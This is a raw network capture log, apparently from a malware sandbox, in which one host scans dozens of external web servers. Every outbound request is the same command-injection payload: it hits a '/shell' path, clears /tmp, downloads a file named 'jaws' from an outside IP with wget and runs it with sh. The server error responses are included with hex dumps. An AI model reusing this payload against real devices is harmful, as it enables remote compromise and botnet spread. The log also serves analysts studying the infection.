Jan 2, 2024 06:24:24.507050991 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:24:24 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	33056	167.73.14.88	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.650284052 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	49862	104.230.152.225	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.652013063 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:23.827636957 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:24.702987909 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:25.750371933 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:27.846327066 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:32.046915054 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:40.430231094 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	37480	50.87.38.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.653877974 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:23.808329105 CET	554	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 02 Jan 2024 05:24:23 GMT Server: Apache Location: http://www.seattlecharterbus.com/400.shtml Cache-Control: max-age=0 Expires: Tue, 02 Jan 2024 05:24:23 GMT Content-Length: 250 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 74 74 6c 65 63 68 61 72 74 65 72 62 75 73 2e 63 6f 6d 2f 34 30 30 2e 73 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.seattlecharterbus.com/400.shtml">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	43978	20.72.240.212	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.654334068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	33828	212.109.194.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.748096943 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.018696070 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:23 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	47210	218.35.171.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.810086012 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.148657084 CET	500	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:23 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 293 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 64 61 6d 65 65 6e 2e 63 6f 6d 2e 74 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at www.dameen.com.tw Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	54220	173.224.201.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.810709000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:23.971647024 CET	214	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+%20157.90.250.90/jaws;sh+/tmp/jaws Content-Length: 0 Date: Tue, 02 Jan 2024 05:24:23 GMT Server: airCube

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	46658	199.232.239.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.868551970 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:23.989336014 CET	167	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-dfw-kdfw8210064 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	38188	170.61.215.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.937077045 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.525281906 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:25.677232981 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	37476	82.163.53.15	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.976596117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.205358028 CET	430	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:24 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	51516	217.160.215.205	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.994544029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	58620	212.40.8.187	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.995467901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.243223906 CET	433	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:24 GMT Server: Apache/2.4.28 (Unix) LibreSSL/2.2.7 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	45582	142.58.40.154	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.995842934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	54798	71.80.219.15	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:23.996859074 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	52998	54.150.52.140	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.012269974 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.276654959 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	45770	185.204.186.162	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.014425039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.282252073 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	59160	85.50.165.37	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.106651068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.344746113 CET	507	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:24 GMT Server: Apache/2.4.38 (Raspbian) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 61 6e 61 6e 6d 61 6c 65 7a 2e 6f 72 67 2e 65 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Raspbian) Server at sananmalez.org.es Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	51852	23.231.150.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.125010967 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.445928097 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:21:22 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	44126	18.167.130.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.131709099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	42208	46.101.108.165	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.183226109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.429023027 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	41088	87.123.31.165	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.186616898 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.437028885 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:24 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	40470	202.238.204.210	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.201457977 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	36010	104.113.198.158	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.210333109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
